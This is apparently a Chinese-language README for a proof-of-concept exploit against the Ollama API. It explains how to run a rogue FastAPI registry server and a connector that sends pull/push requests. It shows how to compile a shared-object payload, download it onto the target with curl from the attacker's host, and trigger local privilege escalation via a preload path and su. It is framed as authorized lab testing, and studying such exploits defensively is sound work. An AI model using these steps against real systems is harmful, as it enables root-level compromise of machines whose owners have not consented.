该仓库包含一个概念验证的 FastAPI 注册服务器、连接器脚本以及用于授权实验室测试的预加载演示库。
仅在你拥有或明确允许测试的系统上使用。
server.py: 启动 FastAPI PoC 服务器。rogue_server/config.py: PoC 服务器的中央配置。connector.py: 向目标 Ollama API 发送拉取/推送请求。preload_privs_demo.c: 共享对象负载的 C 源代码。requirements.txt: PoC 服务器的 Python 依赖。在你的主机上安装 Python 依赖:
python -m pip install -r requirements.txt
在你的主机上编辑 rogue_server/config.py:
HOST = "<your_host_ip_or_host_ip>"
编辑 connector.py:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
注意:
SERVER_HOST 必须指向运行 server.py 的主机。8000,则需同时在 HOST 和 SERVER_HOST 中包含端口号,例如 10.10.16.160:8000。TARGET_HOST 和 TARGET_PORT 必须指向目标 Ollama API。如果 connector.py 直接在目标机器上运行,通常 127.0.0.1:11434 是正确的。rogue_server/config.py,请重启 PoC 服务器。编译 C 文件并将输出命名为 libpreload_privs_demo.so:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
将这些文件复制到授权的目标机器上:
libpreload_privs_demo.soconnector.py一种简单的方法是从你的主机提供文件服务:
python3 -m http.server 8081
然后在目标机器上下载它们:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
下载共享对象后,记下其在目标机器上的绝对路径,并在主机上的 rogue_server/config.py 中将其设置为 exploit_path。
示例:
exploit_path = "/tmp/libpreload_privs_demo.so"
在你的主机上启动 FastAPI 服务器:
python server.py
默认情况下,该项目在 0.0.0.0:8000 上启动 Uvicorn。
在授权的目标机器上运行:
python3 connector.py
连接器向配置的 Ollama API 发送拉取和推送请求。
连接器完成后,运行:
su
在一个配置正确的存在漏洞的实验室目标上,预加载路径应被使用,并且可以观察到权限提升。
connector.py 中的 SERVER_HOST 与 rogue_server/config.py 中的 HOST 匹配。exploit_path 是 libpreload_privs_demo.so 在目标机器上的确切绝对路径。TARGET_HOST:TARGET_PORT 可达。rogue_server/config.py 后重启 server.py。